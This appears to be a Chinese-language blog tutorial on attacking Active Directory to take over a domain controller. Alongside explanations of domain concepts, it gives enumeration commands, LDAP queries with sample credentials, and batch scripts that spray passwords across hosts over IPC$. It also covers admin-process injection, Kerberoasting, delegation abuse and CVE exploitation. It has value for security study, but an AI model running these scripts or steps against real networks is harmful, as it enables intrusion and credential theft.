常规情况拿下域控的攻击思路
1、拿下口子后内网进行扫描,开始常规扫描
2、探测存活网段,密码碰撞,弱口令等。
3、寻找域内主机netbscan或其他工具,并利用常规漏洞拿下它。
4、如果利用漏洞拿不下域主机的话,尝试密码喷洒
5、拿下域账户,利用漏洞或信息收集的方式拿下域控
一、什么是域?
1、域的好处
将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动 目录(Active Directory)的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法。
1、工作组
- 没有统一的管理机制,
- 没有对用户账户的统一的身份验证机制 没有统一查找网络资源的机制
2、活动目录的特点(域的特点)
- 集中管理,可以集中的管理企业中成千上万分布于异地的计算机和用户。
- 便捷的网络资源访问,能够容易的定位到域中的资源。
- 用户一次登录就可访问整个网络资源,集中的身份验证。
- 网络资源主要包含用户帐户、组、共享文件夹、打印机等
- 可扩展性,既可以适用于几十台计算机的小规模网络,也可以适用于跨国公司
2、一些概念
组——部门
域——分公司
域树——大公司
域林——集团(下面很多子公司)
根域——域林的根域或者域树的根域,创建的第一个域
DNS服务器——解析域名(ice.com)
首先你一定要明确一些概念:
1、加入域是指计算机加入域,是指这台机器加入域,与账户啥的没有任何关系。
2、域是域控+域主机PC组成的,其中域有域管理员,域主机有域用户账户。而抓密码这个动作是针对机器而言的,因此可能就会抓到在这台机器上登录的所有密码。
3、组是账户的集合,域的加入是指机器加入,而登录机器的凭据是账户,可能一个部门的员工账户就是一个组。
4、
域本地组: 这个组可以添加来自全林(整个域林)的用户,然后让其访问自己的域资源
(可以随意添加整个集团的任何人来访问自己这个分公司的资源)
全局组:可以指定某个域(本域)上的用户,来访问其他域的资源,这个指定是本域域控指定的。
通用组:随意指定,比较少用
3、本地域组的权限
- Administrators(管理员组)
- Remote Desktop Users(远程登录组)
- Print Operators(打印机操作员组)
- Account Operators(账号操作员组)
- Server Operators(服务器操作员组)
-
4、全局组、通用组的权限
Domain Admins(域管理员组)
- Enterprise Admins(企业系统管理员组)
- Schema Admins(架构管理员组)
- Domain Users(域用户组)
5、两个小问题:
1、域控如何使用本地账户登录
2、域用户权限那么低,改啥都要域管理员的账户密码,怎么办?
域中的普通用户,登录电脑后很多权限是受限的,比如不能更改网络设置等等。假如想让域用户能对本地做更多的权限操作,可以让它加入到本地管理员组。
https://www.cnblogs.com/atomy/p/13723612.html
如果SB管理员直接这样配置的话,此时你就可以直接用Mimikatz啦,不用进行什么提权了
6、关于一些协议(请自行百度)
Kerberos协议
NTLM认证(代替了之前的认证LM hash)
LDAP(轻量目录访问协议),一个类似数据库,但是又不是数据库的东西
总结:
域认证用到kerberos协议,但是它其实不仅仅只用于域认证这种场景。例如一些高校的门禁认证,hadoop认证
NTLM认证,就是Windows基本的登录就是用的它
LDAP认证,同样可以用于多种场景,域控的活动目录仅仅是它的使用方式之一。活动目录是在LADP的基础下加上微软的二次开发。——LDAP未授权访问
二、域渗透的前置条件
首先标准的情况下:DMZ区域(web服务器)可以被内、外网用户访问,但它无法去访问内、外网,这是一个最标准的DMZ区域定义(但是往往现实配置不一定这么标准,因此DMZ区会出网,也会出现域用户登录的一系列情况)
1、一台有域的服务器,使用域普通账户登录的时候,运行web服务,这里我用phpstudy进行环境搭建,需要让我们输入域管理员权限后才能开启权限,而Phpstudy起的权限也就是直接是域管理员的权限,这十分不安全
2、之后尝试了先起Web服务,又加入域的情况,加入域想要生效必须重启,这样Web服务同样不能起来,那么也就意味的正常情况下,我们指的域渗透,就是Web服务起在本地(账户)权限www下,而计算机本身加入域的场景。(已经拿下一台域成员计算机)
加域是为了更好的管控主机,我把计算机加入主机,给它创一个用户,那么这个账户就可以对除了web服务以外的任何东西进行管控。当然也有可能web服务就起在域权限下。
3、又或者是一开始目标服务器原本不是域,而我们在横向渗透的时候成功横向到了加入域的PC中,从而开始产生的域渗透。
4、以及最后一种方式,拿到了从外网域账户,拨入VPN直接进入内网,此时你的权限相当于域用户,是可以访问域内资源的 。
三、信息收集
1、域信息收集——查看是否域
net view /domain 查询域列表
net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net user 查看本地
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
hostname
whoami比较
net config workstation
这个命令的解释:net time /domain
存在域,但是当前用户不在域里——拒绝访问
存在域,但是当前用户在域里——正常
不存在域——找不到域控制器
但是也不一定,比如这种情况。找不到域控制器的原因可能是域控关机了。
ipconfig /all
但是这里在某些特殊场景下说存在域名,其实可能并不存在域
最准的方法还是这两条命令
net config workstation和systeminfo
像这种就是在域内
2、定位域控
systeminfo中的domain
net group "domain controllers" /domain
nslookup
以及
nltest /dsgetdc:ice.com
wmic ntdomain list brief
3、域信息收集——横向移动之前的准备
除去一些通用的常规横向信息收集之外,还有一些专门属于域主机信息收集的工具
导出所有信息收集(一般没这两个,是原生的)
ldifde----------ldifde -u -f output.ldf
csvde----------csvde -u -f ouput.csv
csvde.exe/ldifde.exe -u -r "(sAMAccountType=805306368)" -l sAMAccountName,displayname,lastlogon,pwdLastSet,description ,mail,homedirectory,scriptpath -f output.csv
普通域用户导出DNS信息
SharpAdidnsdump.exe 192.168.6.139(DC)
SharpAdidnsdump4.5 192.168.6.139(DC) usernameice Aa123456. iceice.com
dnsdump -v -u ddh\test -p passwd 1.1.1.1
qs
qs query 192.168.6.135 -u test 查看test这个域账户的信息
qs query 192.168.6.135 -g administrator 查看远程计算机的管理员组有哪些用户
qs query 192.168.6.135 -q 定位域管,查看主机是用啥用户登录的
Adfind
列出域控制器名称:
AdFind -sc dclist
查看域控版本
AdFind -schema -s base objectversion
查询当前域中在线的计算机:
AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
AdFind -users name
查询所有GPO:
AdFind -sc gpodmp
Dsquery
https://blog.51cto.com/u_1737585/2549116?xiangguantuijian&02
dsquery server --查找DC
dsquery user --查找用户
dsquery computer --查找域内所有计算机名
dsquery user domainroot -stalepwd 100 --查找100天没改过密码的用户(筛选喷洒)
ADExplorer
输入一个域账户密码即可进行连接
LINUX下的LDAPsearch
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"
//显示所有能查询的信息
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn
//查询所有的域用户,并且只显示cn的信息,用户名,如果想全部显示,去掉管道符后面的
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn
//查询所有的计算机名,并且只显示cn的信息,计算机名,如果想全部显示,去掉管道符后面的。
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn
//查询所有的组
4、SPN——服务主体名称(SPN)
SPN是一个唯一服务的标识名,例如MYSQL是一个服务,HTTP是一个服务,而他们都有对应的SPN。并且Kerberos认证系统会绑定SPN服务到每个登录用户上,这也就意味着我们能通过SPN来进行信息收集到特定的服务和特定的用户。
举例:
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。
setspn -T hacker.com -q */* 指定域
setspn -Q */*
只有域用户和机器用户(system可以使用),本地系统账户是不能用的
在一台普通域主机权限下使用此命令
可以看到此命令划分为三个区域,分别代表上面运行的一些服务
如下图所示,可以快速定位服务在哪台主机上
总结:SPN是kerberos与服务(http,mssql)通信认证的标识
5、总结
然后针对信息收集的话,一般我们获取服务器权限有三种类型,一种是域用户,一种是本地主机用户,还有一种是system。
本地用户是无法执行上述命令的(因为本地用户无法运行之前说的所有命令的,因为本质上所有查询都是通过ldap协议去域 控制器上查询,这个查询需要经过权限认证,只有域用户才有这个权限。
当域用户运行查询命令时,会自动使用kerberos协议认证,无需额外输入 账号密码),而SYSTEM属于机器用户(类似后面$),因此可以执行命令。
6、Tips
连不上主机
在域内扫出445端口是开的,密码也获取到了,但是net use连不上?
添加Host对应主机iceice\hostaname即可
机器在域里,但是没有域用户权限
net group /domain 如果不成功,那么和没在域内差不多,能做的就是先提权,然后再收集信息,或拿到一个域账户后,再收集域信息
可以通过爆破登录本地机器IP 来爆破域的账户密码(概率也不大就是了)
四、内网普通的横向
1、横向抓密码,Tips当横向的时候发现横向工具用不了(被杀),可以用这个来刷分
首先抓密码的方式有很多,
或者是使用IPC来批量横向渗透,直接输入网段的地址即可进行批量验证
for /L %I in (1,1,254) do @net use \192.xx.xx.%I\ipc$ “刚才获取的密码” /user:administrator
如果IPC被禁用掉了,其他的横向工具又用不了,那么或者可以尝试使用来进行密码的验证tasklist /s IP /u username /p password /v
FOR /F %%i in (ips.txt) DO @echo [+] %%i && @tasklist /V /S %%i /U "ice" /P "ice.." 2>NUL > output.txt
或是直接使用net use直接建立IPC连接
@echo off
for /f %%I in ('type 445.txt') do (
net use \\%%I\ipc$ "dexxxxxxx" /user:administrator >> res.txt
)
或者ipc.bat IP Password Username.txt
cls
@echo off
echo Useage: %0 IP Password Username.txt
for /f "eol=; tokens=1,2,3* delims=, " %%i in (%3) do (
net use \\%1\ipc$ /u:"%%i" "%2"
IF NOT errorlevel 1 (
echo UserName:%%i Password:%2 >> res.txt
net use \\%1\ipc$ /del
)
)
echo process done , go to check res.txt
net use * /del /y
批量尝试存在相同的密码的主机
如果做成bat 则需要%%,如果直接cmd,那么就是%
以及其他横向的工具例如PSEXEC,WMIC等,这点域和非域都是同用的
在域中使用的kerberos进行认证,而在普通环境则使用的是NTLM认证
值得注意的是,当用户使用空密码,默认是连接不上的(windows版本太高了,在某个版本以后就禁止了空口令的大部分权限)
当然3389也同样登录不了
2、导出域用户-密码喷洒
其实就是域账户密码的暴力破解
https://www.yuque.com/iceqaq/mnp0io/whn0qa
3、web渗透服务器拿权限
不多说
4、横向GPP配置错误漏洞和其他等漏洞
GPP是管理员一开始生成域的初始用户可能会进行的配置(作用是统一下发策略、命令)
https://www.yuque.com/iceqaq/mnp0io/bp09pk
5、Kerberoasting攻击
Kerberoasting攻击手法在域渗透中是必不可缺的一项手法
作用:它可以帮助你利用普通用户的权限在AD中提取到服务账户的凭据,又因为一般的服务账户密码策略可能较为薄弱或密码设置为永不过期等等。所以当攻击者拿到服务凭据后,可以进行离线破解(看字典多猛)
https://www.yuque.com/iceqaq/mnp0io/ngps6l
五、域管理员相关
获取域内置 administrators组用户
net localgroup administrators /domain
1、定位域管理员(找域管理员登陆过的主机)
域管理员可以登录所有加入域的主机,因此如果获取到了域管理的密码,可能比直接获取DC的权限更好
定位,看一眼,有哪些账号登录了哪些机器,不然你抓密码都不知道去哪,抓谁
1、psloggedon.exe
感觉有用的就是两个参数 psloggedon.exe \hostname 和psloggedon.exe administrator
指定对方的computer name名字来获取对方此时的用户名,我们以此可以来定位管理员
可以通过mylanview来发现局域网内的hostname,然后再使用psloggedon来发现用户名,再进行针对该用户名的爆破(- -其实用IP也可以)
也可以针对用户名在局域网内所有登陆过且在线的主机进行获取,这样我们就可以有针对性的进行登录了,而不用大范围的撞主机IP
PVEFindADUser.exe -current
PVEFindADUser.exe -current -target 11.1.1.12 (查看某个IP此时在线的用户)
会生成一个csv文件,主要其实就是发现在线的域管理员主机,基本同上,我们可以根据它来判断我们接下来要日哪台主机
2、查看域管理员进程
tasklist /v 恰好找到了域管理进程,那么我们就知道了这台主机是域管理员登录过的
3、窃取域管理员进程
使用incognito.exe 可以窃取,但是会失败,或者其他原因,原因暂时不明,不是玄学的话希望有大佬可以指教一下。具体可以看我另外一篇文章,在提权的部分。
使用CS自带的进程注入也是可以的,具体可以看如下
net group "domain admins" /domain 使用命令查看域管理员
net group "domain controllers" /domain 查看域控制器,发现有多台
ping域控的名字获取到IP,并通过本地土豆提权,获取到了本地管理员的权限
发现大量本地进程为域管理员启动的程序
inject直接注入进程后,直接就获取了域管理员权限了。
此时已经获取域管理员权限,直接与域控进行IPC连接即可
但是普通域用户是无法直接窃取的,需要提权到本地管理员用户上
获取域管理员(域控的方法)
https://www.cnblogs.com/backlion/p/7159296.html
六、漏洞攻击域控
1、MS14-068 ——比较老
域渗透中比较重要的CVE 补丁号 KB3011780(域控上检测)
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。 https://www.cnblogs.com/yuzly/p/10859520.html
2、CVE-2020-1472 Zerologon
其他的文章:
https://www.cnblogs.com/backlion/p/10843067.html
https://blog.csdn.net/bylfsj/article/details/104559498
3、CVE-2021-1675——特定条件能对直接攻击域控
打印机漏洞
https://mp.weixin.qq.com/s/JJwifuoQ08LLy-xREtsZSA
4、CVE-2019-1040 组合漏洞内网大杀器
配合基于资源的非约束委派
5、其他打域控
CVE-2020-0688(exchange)
cve-2018-8581(exchange)
https://www.cnblogs.com/mrhonest/p/13346041.html
6、Printnightmare
https://github.com/mstxq17/CVE-2021-1675_RDL_LPE
七、域委派攻击域控
上面将的都是利用漏洞,或者信息收集,或者爆破等方式进行攻击,其实还有一种比较常见,利用kerberos本身特性来进行攻击的方式——委派
如果在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派,委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,只有当A有权限访问C的时候才能委派成功,因为B使用的是A的身份去访问C
例如我让你去买菜,这就是一个委派
1、域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
2、服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MS SQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。
三种委派方式:
1、非约束委派
运维管理员可能出于方便的一些原因,信任了某台计算机来委派任何服务,对这台计算机设置的对象可以是主机账户,也可以是服务账户。设置这个委派需要SeEnableDelegation权限,而这个权限往往只有域管理员有。
当我们此时获取到了一个非约束委派的账户权限时,我们就可以使用它来收集内存中缓存的TGT来达到模拟任意用户。
非约束委派需要用户主动访问目标机器才能使Domain Admin用户留在TGT在内存中,因此需要配合Print Bug来让(windows远程打印协议)打印服务强制然后域控主动访问一次我们的目标机器。因此此时我们只需要一个拥有非约束委派的主机账户(非服务账户,权限不够)即可控制整个域。
实验如下
https://www.yuque.com/iceqaq/mnp0io/ysfnnn
2、约束委派
https://www.yuque.com/iceqaq/mnp0io/otwo11
https://skewwg.github.io/2020/11/25/yue-shu-wei-pai-li-yong/
3、基于资源的约束性委派(协议委派-比较少用到,其实就是特殊的约束委派)
https://blog.csdn.net/a3320315/article/details/107096250/
https://www.yuque.com/iceqaq/mnp0io/quxvtm
如何发现计算机内是否有委派用户
PowerView项目
adfind项目
八、SPN定位Exchange直接打域控
内网进入域后,利用spn迅速定位邮箱,看看是不是exchange,如果是,直接锤
为什么要锤邮箱,因为邮箱一般都是和企业组管理员捆绑的,Enterprise Admins组。这个组是具备Dcsync权限的,如果拥有Dcsync权限的话,是可以赋予域内任何一台机子可以拥有导出域内所有hash的能力的。
在密码抓取中有实践过。
九、中间人攻击打域控
NTLM Relay和net ntlm hash的获取
https://www.yuque.com/iceqaq/mnp0io/ncb60e